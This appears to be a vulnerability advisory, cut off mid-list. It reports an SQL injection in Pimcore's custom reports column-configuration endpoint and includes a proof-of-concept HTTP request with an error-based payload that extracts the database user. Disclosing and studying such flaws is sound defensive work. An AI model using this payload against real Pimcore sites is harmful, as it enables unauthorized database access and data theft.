  "summary" : "Pimcore Vulnerable to SQL Injection in Custom Reports Column Configuration",
  "details" : "### Summary\nThe columnConfigAction endpoint in the CustomReportsBundle is vulnerable to SQL injection. An attacker with the reports_config permission can supply a malicious SQL configuration that is concatenated into a query and executed. Although the application attempts to filter certain DDL/DML keywords (like UPDATE, DELETE, DROP), it fails to prevent arbitrary SELECT queries, UNION statements, or the use of dangerous database functions. Furthermore, because the application returns database error messages in the JSON response, an attacker can easily exfiltrate data using error-based SQL injection techniques.\n### Affected scope\nbundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php\nCustomReportController:columnConfigAction -> SqlAdapter::getColumns -> SqlAdapter::buildQueryString -> Db::fetchAssociative()\n\n\n### PoC\n* Download and install the version Pimcore <=12.3.3 (latest)\n* Login using Admin account or any account that has reports_config permission\n* Navigate to custom reports\n* Capture the request using burp suite and perform SQLi attack as the following \n1. Get Database username\n```\nPOST /admin/bundle/customreports/custom-report/column-config HTTP/1.1\nHost: localhost\nContent-Length: 310\nsec-ch-ua-platform: \"Linux\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not_A Brand\";v=\"99\", \"Chromium\";v=\"142\"\nsec-ch-ua-mobile: ?0\nX-pimcore-extjs-version-minor: 0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36\nX-pimcore-csrf-token: 2e42012c8310823bbdbce1598bdecfd19cb5e9c4\nX-pimcore-extjs-version-major: 7\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nAccept: */*\nOrigin: http://localhost\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: pimcore_admin_auth_profile_token=9f990b; PHPSESSID=d101f6fce4d87b8bdbbe800f9f50c82a; _pc_vis=3a17250fba52c657; _pc_ses=1774896807012; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjEwNzE3LCJwdGciOnsiX20iOjEsIl9jIjoxNzc0ODk2ODA1LCJfdSI6MTc3NDg5NzUxNCwidmk6c3J1IjpbN119LCJleHAiOjE3NzQ4OTkzMTR9.uO4iHiABylQ2KyZC0p8Li9hpgWfHnNQ01GUkbeY1Wmc; _pc_tvs=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NzQ4OTc1MTQuNjExNTA4LCJwdGciOnsiY21mOnNnIjp7Ijg2MCI6Mn0sIl9jIjoxNzc0ODc2MzQyLCJfdSI6MTc3NDg5NjgwNX0sImV4cCI6MTgwNjQzMzUxNH0.mhq_2qwWzWWGruI0VNnAwgs8QzfZfbc6Za0uGn7zNYM\nConnection: keep-alive\n\nconfiguration=%5b%7b%22type%22%3a%22sql%22%2c%22sql%22%3a%221%20AND%20(SELECT%201%20FROM%20(SELECT(EXTRACTVALUE(1%2cCONCAT(0x7e%2c(SELECT%20user())%2c0x7e))))x)%22%2c%22from%22%3a%22object_localized_CAR_en%22%2c%22where%22%3a%221%3d1%22%2c%22groupby%22%3a%22attributesAvailable%22%7d%5d&name=Quality_Attributes\n```\n2.
